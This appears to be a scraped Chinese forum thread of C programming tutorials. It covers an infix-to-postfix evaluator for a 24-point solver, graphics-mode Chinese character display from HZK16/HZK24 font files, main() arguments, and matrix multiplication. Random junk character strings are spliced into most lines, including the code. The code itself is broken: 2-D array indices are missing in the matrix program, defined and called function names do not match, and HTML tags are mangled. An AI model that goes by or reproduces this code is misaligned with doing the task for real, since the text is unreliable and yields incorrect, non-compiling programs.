  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。1 |, z# H, R5 U) Y  w0 S) m7 ~

. N$ A- f/ b) L  I" n  下面给出转换和计算的具体实现程序——$ O1 X9 X' j$ `$ o& O, L' p

6 x, `& i$ w' u$ t  a5 H<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
# M; Q: K) y" L: {: g# _4 i/ Vint first(char c)# H. |) P' `% I# v( J6 m/ ~
{ int p;  V2 ?; A9 v7 Q- \. A
switch(c)
& i: P1 i( x, `0 M. d{ case '*': p=2; break;
6 [- l! {/ _2 R% T/ Ocase '/': p=2; break;* ^/ H' o" A. e8 T0 A. U: @
case '+': p=1; break;
: A$ J1 [. A7 v" d+ Acase '-': p=1; break;
6 G  Z2 D& B" R  G" Hcase '(': p=0; break;
3 i: f$ }/ l  B! t* Ecase '=': p=-1; break;
( Y. _3 N4 g6 `0 K3 z8 {% r" F}& f! Z3 `$ L: J6 n! ~) p
return(p);2 ^5 q* s5 @! _( t6 u9 [
}5 k( m7 e2 [& H7 q/ \9 F' K
/* 此函数实现中缀到后缀的转换 */
1 J. Y" \( W* r( w: ~/ [/* M的值宏定义为20 */1 r4 g' [* I3 N6 y5 z
/* sp[]为表达式数组 */: L+ V3 F5 b, r
int mid_last()
- v1 i: B" E) H6 g. t1 G{ int i=0,j=0; char c,sm[M];: G' E, N( f/ ?  B& B
c=s[0]; sm[0]='='; top=0;9 ]; o5 @3 j  ^
while(c!='\0')
' Q+ G% @& ?5 i5 P{ if(islower(c)) sp[j++]=c;. m6 k! B! G4 E& s
else switch(c)
# |& p. S! d4 A/ L, Z) P{ case '+':
' ]2 t, D4 }6 B' z* o2 n6 Jcase '-':( z) P4 j; m2 \  m
case '*':* D0 u, ?0 Z8 O  N# Y
case '/': while(first(c)&lt;=first(sm[top]))
8 Y9 A. F9 A3 l' E6 _# ^" I/ Y  V; ~sp[j++]=sm[top--];& s% ~1 R! H4 l0 B! m: Y
sm[++top]=c; break;
2 E! ]2 r; q+ R4 U8 z  z  Ccase '(': sm[++top]=c; break;7 K  F" j) L" J6 r" f
case ')': while(sm[top]!='('), D8 v$ H# J5 X* D' l
sp[j++]=sm[top--];
; ~; d  v3 t& V& O0 H& Ptop--; break;$ `2 E  ?/ G$ v4 G$ |. [! e
default :return(1);4 ^0 N% U' ?" [9 O
}1 _1 i, t, J. \, Y0 }
c=s[++i];. [2 b$ g, S4 Y" A8 d
}
6 m  y5 Z+ u7 R$ N2 q( dwhile(top&gt;0) sp[j++]=sm[top--];7 X$ X- k) v# {
sp[j]='\0'; return(0);% N7 M  E8 D( ~: j9 \& L
}
" r" I# R  S- \% i" G# G/* 由后缀表达式来计算表达式的值 */
7 P" k5 N/ h7 Xint calc()
: z' V! Z( V& ~  T& K. s{ int i=0,sm[M],tr; char c;
; F- \: t" m% s1 T9 _c=sp[0]; top=-1;+ V( d' ^, F6 Z. D. T# s( Y
while(c!='\0')2 [) w2 Y. B2 n) m
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,% X6 M' }  y& Y7 {# h" F
这样才可以更方便的处理非一位数,
' D8 o* B' E/ b+ t& ever数组中存放着这些字母所代替的数*/
$ T7 N& F) a3 k/ W8 N- @else switch(c)
" Y' n' b# r4 G3 q: Y7 c, e{ case '+': tr=sm[top--]; sm[top]+=tr; break;% c9 o2 r! G0 N6 j8 |# w
case '-': tr=sm[top--]; sm[top]-=tr; break;
  l6 b/ r8 X# a- Q& `! ^: `% Ucase '*': tr=sm[top--]; sm[top]*=tr; break;
$ t& X# r8 D1 f& @# Y; t1 Mcase '/': tr=sm[top--];sm[top]/=tr;break;2 v. s* Y: k2 a. |
default : return(1);0 \! ^: `2 k) `' m8 E6 h
}
( Q/ r, X. r$ i) _8 D; v3 ^c=sp[++i];+ X8 S3 m! {, R/ P9 C$ M
}
) g: G6 O% m' v, i. i* e  Jif(top&gt;0) return(1);
$ H- o, y* [$ Felse { result=sm[top]; return(0); }: S% r" ?6 Q/ Q9 P
}
( |8 F  D; r9 a, ]1 `5 Q% }/ ]</FONT>
! o5 W+ }/ o0 t" i: w  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
: D3 S* p" b9 x) M4 u  ?. v! Z+ U9 c6 @9 S/ A
  最后我总结了一下这其中容易出错的地方——6 {. a' O: k' g
$ g# q& M8 N- r# _
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
% ]9 A1 Z9 V7 D  b6 P5 N3 x. f  c; A
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。! `3 @6 p: h) y& Z/ d4 \! U( y
2 _& t" p/ D2 @2 j# y, {: @7 Q
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 + o) }9 g; X9 R0 g: l
3 s0 d! \9 d: O; b$ g; R" _
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。+ m7 Y# C) Q9 y; V
; g0 M6 j) d+ b* |
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。" M' S+ X3 A3 v! t
( N$ F, G" V# n* x4 P) A
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。$ v0 [  f* }% j( w
1 D2 [2 Z8 H; G$ c. {/ t! ]
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
3 D" u: @8 I( {0 v+ E& ^</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
1 b! z1 G) S  I0 U& f5 _图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
1 Y1 E& U7 C+ Q1 i8 Q) h  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。' ~- C  e- |8 o2 k/ ~
  汉字显示的第一步是打开字库文件。
, f" L) h9 [3 b' t# j5 Z0 n0 M  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
0 s: Y$ k4 ~# }! I5 i2 @  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
: z( H$ [) X0 t, k9 J{& Z6 }; |/ J' d, I( C1 ~* P
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/# u+ c" `2 D# a5 i( m, h/ o0 |" |: M
int rec,i1,i2,i3; /*z:space between;*/) N! b/ m' P3 P1 Y$ F
long l; /*color:txt color*/3 q5 A. ^2 Y7 Y# i- f9 C% V
char by[32]; /*p:HZ str*/" H! p6 l/ f% W- O5 `
if( handle&lt;0 ) return -1; while((i=*p++)!=0){1 L) u' |/ N9 T- k$ A6 G
if(i&gt;0xa1)
/ x- b  ^! l" h9 x, k- q% S! [if(f==0){
+ p/ J. a! Z: l( @+ e1 |" e9 `! {2 kc1=(i-0xa1)&amp;0x07f;
  r# Z1 Y% z- L6 u) x9 zf=1;4 o! R2 ?: i$ w  j+ G
}' t  W+ Y1 c- u, _6 G
else{7 v2 w" D% @. J/ v; U" d: Y0 s
c2=(i-0xa1)&amp;0x07f;
- w/ C, T" `! F; E: sf=0;0 T$ p6 m; D! T! O) K4 T
rec=c1*94+c2;
8 J9 Y0 O1 L9 ^4 s$ Ll=rec*32L;
& V% g: @# E  F4 I9 Hlseek(handle,l,SEEK_SET);
2 B- @+ {% y' U6 `read(handle,by,32);
3 ^% c& |5 [1 L4 X) k9 m7 m- ]for(i1=0;i1&lt;16;i1++)! \9 S! f* }/ u
for(i2=0;i2&lt;2;i2++)
+ U" N$ v0 |  C/ |; P7 yfor(i3=0;i3&lt;8;i3++)8 @1 j) G" d3 n& u, k7 e' c, f# x4 w
if(GetBit(by[i1*2+i2],7-i3))
! r2 W8 t7 D4 ^8 R( u! T3 z1 pputpixel(x+i2*8+i3,y+i1,color);
3 [6 T* x9 c' }# q* {1 dx=x+z+16;
+ S- [9 B, Q; p. G}0 z& k: d; b8 d0 K9 O/ O/ \& A* O9 j
}
# u5 r7 T& `; k& q2 |/ Sreturn(x);
6 T9 w( T! v- f2 k% e, X, q}
( R. ]  ~9 ?) I3 \; W5 D函数GetBit定义如下:
3 a" G) n# M* _( D! x! Z& S* [  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。' e# ?3 q3 b+ k& }/ ^5 L5 L
int GetBit(unsigned char c,int n)+ D) f! Q/ w+ J: i! Q
{
& ~6 K0 `4 L8 ^* G/ d5 ~return((c&gt;&gt;n)&amp;1);: n2 Y5 C+ X$ ~2 L# y. g
}
: J% Z7 D8 w$ v) z  Q! G4 s汉字显示结束,应该关闭字库文件。
; V* e/ I" n1 m9 B% ~void CloseHz(void)  o/ l/ o1 |5 ]7 Q4 |2 M" g8 `
{
, s3 a) w: e/ Y3 kclose( handle );
$ K' q/ R0 D- E% N}1 H2 P/ Z  C$ _/ r9 ~, j
#include "\Caic\Include\Hz.h"6 C( K- @; y7 ~7 G! P: x/ t8 L" O
#include <GRAPHICS.H>
" w2 ]) |! H( Z" {; D#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
' g  E' e" ?0 L- }$ s6 cconst char* HzStr = "苦丁香C语言辅助学习软件";' R$ C( ]9 Y4 z$ z7 ^/ S$ I
void main(){
4 O5 H3 |& `4 h" i- |* Y! fint gr=DETECT,gm;
0 D) I0 ^  {) V3 N; hinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
9 o4 u- j) `, w' U% b9 bOpenHz( Hz16Path );7 x% p; F) q  J7 `2 \
Wrt16Hz(20,20,4,RED,HzStr);2 j! S5 U. o2 A9 P# s' z8 j( I
CloseHz();
. ]" [+ T1 X- f4 p6 l) x  C& l( kgetch();
1 d* Y' B5 @0 M0 @closegraph();9 S2 o. e+ |$ a
}显示24点阵及放大汉字0 g$ z) c, |3 u4 {6 S
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
* d/ i' H. M9 n& w7 i函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
( y. S$ ?  ~/ k) C9 K; c7 d6 I# rint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)" v  n  q% {& P
{+ G0 N8 p2 Y' u5 O! B# ~) e
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
9 l  O; U( D8 U- F* fint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
2 a1 B" y( M& b0 Flong l; /*color:汉字颜色*/& H  N: I& o2 `' e+ N" M
char by[72]; /*m: x 方向的放大倍数*/
( P" ~- @: O- R! q3 A/*n: y 方向的放大倍数*/
8 @6 n# }+ E0 O$ @  B; ~# S9 Sif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
: A1 r* `0 \9 yif(i&gt;0xa1)
8 I( S; J2 h6 T- Q/ z3 L6 jif(f==0){
) O' J* V9 X4 nc1=(i-0xa1)&amp;0x7f;
9 y0 p. A7 ~7 g2 j( z% f6 q4 F/ `f=1;' i' @; U" D. G3 F& R( G5 y
}
1 y. ^5 w7 Y& x$ Lelse{( \1 \, b4 U8 j1 s
c2=(i-0xa1)&amp;0x7f;$ T+ Y% K# Y5 y$ r' y
f=0;! O7 b3 S  ~. S7 y' O/ f% v& o
rec=(c1-15)*94+c2;
/ p( g, t5 h, s+ F' Zl=rec*72L;4 v! _" k; D9 y  z$ V1 _
lseek(handle,l,SEEK_SET);& E% p( j5 v4 v5 ?% x# _9 p
read(handle,by,72);
# f, G9 L7 X( [* Ufor(i1=0;i1&lt;24*m;i1=i1+m), C, `0 _6 }4 ], L
for(i4=0;i4<M;I4++)
) C9 v% R5 F5 o: N0 Z9 I* U for(i2=0;i2&lt;=2;i2++)
+ k, D' `- [" D' c: b+ v9 Ufor(i3=0;i3&lt;8;i3++)9 s" m( g. f# V' }( d% E$ J2 g
if(GetBit(by[i1/m*3+i2],7-i3))8 t: @% h% L. _4 t% L& O
for(i5=0;i5<N;I5++)! b) e$ R* [$ R5 \1 l2 |
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);, k  R8 a7 o3 J4 Q- E4 d' t8 K/ M
x=x+24*m+z;
2 y6 o! r5 r) P0 D: i% ~! ?! U% `}' V3 g: A+ W1 x8 ], o2 n
}
  S; x% X; U- a7 rreturn(x);
! @6 E. h) l& v& \} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"0 o# q  ~- e; F9 e% s* }& T
#include <GRAPHICS.H>
) s) M; Q4 T% i: }/ I# P#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."& X' Q  C# v) L" s
const char* HzStr = "苦丁香C语言辅助学习软件";
/ j. u; U4 S0 g9 P: r+ evoid main(){
0 O" h7 ?& r/ c" b/ @" Oint gr=DETECT,gm;
' q) }5 \& Z# n9 Zinitgraph(&amp;gr,gm,"\\Caic\\Bgi");
9 E2 m4 {' c, c3 @! ^6 j5 w2 O; COpenHz( Hz24Path );
" t6 ?' K0 N, q+ A8 W' fWrt24Hz(20,20, /*先是在(x,y)*/& _) L. Y' G! H+ R
4, /*汉字间的空格为4*/" N; D3 F6 @5 \5 y. l' y
RED, /*用红色显示*/. f6 p7 ]# {3 G7 j' E
2, /*x 方向放大2倍*/
- z7 v- c' ^) w# c3 d) c. }5 K4, /*y 方向放大4倍*/
$ P" o0 Q, a" \9 `4 ?2 ?HzStr); /*显示字符串*/" f! w" ^8 S; w4 k+ a, M
CloseHz();
& k- y. G8 h- z: ~0 c8 _! U" sgetch();
$ K* t/ i, |1 C9 e, \# n8 p5 Kclosegraph();
- {. `: I9 \. j5 _3 D8 ~0 m7 t  H  T7 V}
6 D1 g0 F2 ?  X+ @</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数# D& V2 n8 a0 P% I: U
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
& ?% D. L4 ]8 v- E1 X9 V1. main() 参数3 v, s0 H6 b2 }% V
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
; n5 C! C: j, d3 w  * argc: 整数,为传给main()的命令行参数个数。$ M5 w4 G8 I7 R6 M2 S; v0 n. @9 A
  * argv: 字符串数组。5 f& r0 t- z& e2 N  `1 Y! o2 i
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
- o1 T. U+ Z5 p7 a$ k* x对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
% S2 G9 P+ s/ ~' }4 g...
( p( n& _0 Z& \9 D7 {argv[argc]为NULL。0 Q) x; r$ H$ T4 e6 k. @0 C  g( U
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
4 O, O3 y2 ~2 h, {' s6 L值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/  l, p" `- j8 K/ F! M7 a& E& X
#include&lt;stdio.h&gt;! c6 |  ~) y; d/ {
#include&lt;conio.h&gt;
, A# r* b) P) B" |' S1 w3 f#define X 3
9 a7 k7 m3 e; J+ V' ]" m0 Z#define Y 3</P><>int a[X][Y];
+ l! q/ `5 I1 ?- Eint b[X][Y];+ r. c* t, q. Z$ f: @
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);) j8 {% K$ i7 r2 d+ V2 X+ m8 m3 I
main()
0 t0 E: q" @6 D{
0 l) ^+ {8 |- `" d. P. r. Xint i,j,temp;
/ \7 g# o8 O/ ?: T) q# h& \6 D! `clrscr();( T% C( x5 L1 i+ e
printf("lease input int matrix b[%d][%d]\n",X,Y);
! ?# Z& i/ ^2 ]' Lfor(i=0;i&lt;Y;i++)
# v: [6 d8 u8 }1 {; Hfor(j=0;j&lt;Y;j++){
# b; Q1 k8 q3 kscanf("%d",&amp;temp);
% ?; p9 M: V6 K; r# K: xb[j]=temp;
( y# u. C4 l( t" c}# k+ \9 i7 [5 F; }* ]2 ^( H
printf("lease input int matrix c[%d][%d]\n",X,Y);8 F3 u0 W% F# E: S6 Y9 ^2 J
for(i=0;i&lt;X;i++)
- i8 N; \9 @! r2 [" [for(j=0;j&lt;Y;j++){7 ^- b6 `4 W) B4 H
scanf("%d",&amp;temp);# k( Z: K8 |5 S+ u/ R$ r
c[j]=temp;
7 N8 _, `1 z) S6 B/ a( J2 P}
/ T5 O9 q4 Q5 ~2 Rmatrix(b,c);8 ^1 V, o$ j# O3 t* x
printf("Now print resource matrix b[%d][%d]=",X,Y);9 q5 ^8 m0 I' P; P7 p) u( ]
for(i=0;i&lt;X;i++){
: Q* M2 u- }- d2 eprintf("\n");
. J. \* m0 P4 @- p$ @' {for(j=0;j&lt;Y;j++)! ]5 Q+ U& W! K) H+ _0 j
printf("%d ",b[j]);
1 \) ?- D+ O3 t$ z/ N}
+ r# @/ i/ B" f/ U" }" W* jprintf("\n");4 I: s( A' E  w6 _
printf("Now print resource matrix c[%d][%d]=",X,Y);
; q7 j; i9 P# b5 p9 Y# t* Q; R7 vfor(i=0;i&lt;X;i++){
+ C5 J# }  `7 B% o; `& p. g, ?# sprintf("\n");! j0 x0 U- i! V* @  a
for(j=0;j&lt;Y;j++)
$ G5 [: Q3 J7 k* bprintf("%d ",c[j]);, e& c$ ?* a2 ?! j9 ]3 T
}
8 Y( P6 W4 n8 qprintf("\n");
2 K; G# c! V: C# p) y3 [0 jprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
5 q5 w$ h: y1 W& u# Sfor(i=0;i&lt;X;i++){+ F; h: d* s& f2 ]2 g* p" k) p
printf("\n");* h. r. u* p0 ~$ R: q
for(j=0;j&lt;Y;j++)
2 _8 ~$ R$ f& Rprintf("%d ",a[j]);
3 L  @1 U6 Y% U/ E; @  d4 ^) d! \}! Z6 j5 s' ]! r: {, _8 x: T' {
getch();- B/ l" G9 Y( s+ U  h1 e% H9 p# U7 D
return 0;
* g+ i  k* R: z% [$ S! [}
* d4 l  T  k- N$ n' v9 D3 n/********************************************************************/' ?1 G+ r4 g% o% q. Z" b
void matrix(int b[][X],int c[][Y])
8 K3 G* L$ l' I. }& V7 Z$ Z7 }6 f{
/ A: c/ L: s: l1 j7 h& Qint i,j,k,temp;+ n6 ^" R9 U  u, h) P( }7 n
for(i=0;i&lt;X;i++)  N8 A6 S5 y2 h5 E2 T6 F$ K  g
for(j=0;j&lt;Y;j++){
( W, ~5 N% u* M$ Q- vfor(k=0;k&lt;Y;k++)
, j) w  x$ @; w% V* {a[j]+=b[k]*c[k][j];( X7 A) `4 @3 M; u1 S
}
/ `& q  w" c# D6 ?}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 17:25 , Processed in 1.025896 second(s), 90 queries .

回顶部